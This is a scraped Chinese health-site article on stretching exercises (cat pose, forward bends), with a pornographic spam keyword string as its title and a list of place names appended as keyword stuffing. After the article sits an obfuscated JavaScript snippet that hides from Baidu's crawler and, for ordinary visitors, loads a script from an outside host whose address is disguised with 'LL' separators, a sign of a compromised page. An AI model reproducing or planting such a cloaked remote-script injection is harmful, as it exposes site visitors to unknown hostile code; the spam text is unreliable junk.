亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

什么是拉伸運(yùn)動(dòng)呢

2017-04-17 07:47:21  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):在我們進(jìn)行激烈的運(yùn)動(dòng)后,會(huì)感覺(jué)身體非常的疲倦,肌肉也酸痛不已。運(yùn)動(dòng)后的不適,不是我們想要的運(yùn)動(dòng)效果,我們希望運(yùn)動(dòng)后可以讓身體更加的

在我們進(jìn)行激烈的運(yùn)動(dòng)后,會(huì)感覺(jué)身體非常的疲倦,肌肉也酸痛不已。運(yùn)動(dòng)后的不適,不是我們想要的運(yùn)動(dòng)效果,我們希望運(yùn)動(dòng)后可以讓身體更加的舒暢,輕盈。而運(yùn)動(dòng)后的拉伸動(dòng)作,可以緩解這些不適的現(xiàn)象。而運(yùn)動(dòng)前也要做好拉伸運(yùn)動(dòng),這樣可以避免運(yùn)動(dòng)損傷,而且男士健身想要增肌,就不要忘記運(yùn)動(dòng)前后進(jìn)行拉伸運(yùn)動(dòng)了。但要注意的是拉伸動(dòng)作要適宜,過(guò)度反而會(huì)損傷肌肉。

小貓姿勢(shì) (伸展背脊) 用手支撐雙肩,脆爬在地板上。吸氣,向上向前拱起后背,同時(shí)也移動(dòng)你的前胸和頭部。呼氣,慢慢地收回后背和頭,做這個(gè)動(dòng)作就好像一只被激怒的貓。重復(fù)做5次。

站立,腳與肩同寬,手臂垂在身體兩側(cè)。呼氣,臀以上部分向前傾,腿直立并讓身體放松。保持一分鐘。

四肢都放在地上。呼氣,伸直雙腿直到膝蓋想要彎曲,同時(shí)伸直雙臂,用手按壓地面。保持一段時(shí)間。吸氣,伸直腿鍛煉你的四頭肌,保持一分鐘(如果你覺(jué)得背,膝蓋微微彎曲)。

拉伸運(yùn)動(dòng)是很簡(jiǎn)單易學(xué)的,通過(guò)對(duì)身體關(guān)節(jié),肌肉的不斷拉伸作用下,可以增強(qiáng)我們關(guān)節(jié)的靈活性,但是一定要注意拉伸的力度和角度,正確的進(jìn)行拉伸鍛煉,這樣才可以達(dá)到想要的效果。拉伸的每個(gè)動(dòng)作都要保持一定的時(shí)間,這樣才能完全起到拉伸的效果。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
津市市| 万安县| 开原市| 全南县| 象山县| 绵阳市| 杭锦后旗| 江都市| 兴国县| 新泰市| 沂源县| 资兴市| 湖北省| 夏津县| 伊金霍洛旗| 龙胜| 江华| 元谋县| 清新县| 修武县| 长宁区| 乌鲁木齐市| 稻城县| 濮阳市| 抚宁县| 若尔盖县| 道孚县| 舞钢市| 五常市| 兴安盟| 冕宁县| 海晏县| 婺源县| 图片| 蕉岭县| 金坛市| 千阳县| 罗源县| 贺兰县| 郎溪县| 永和县|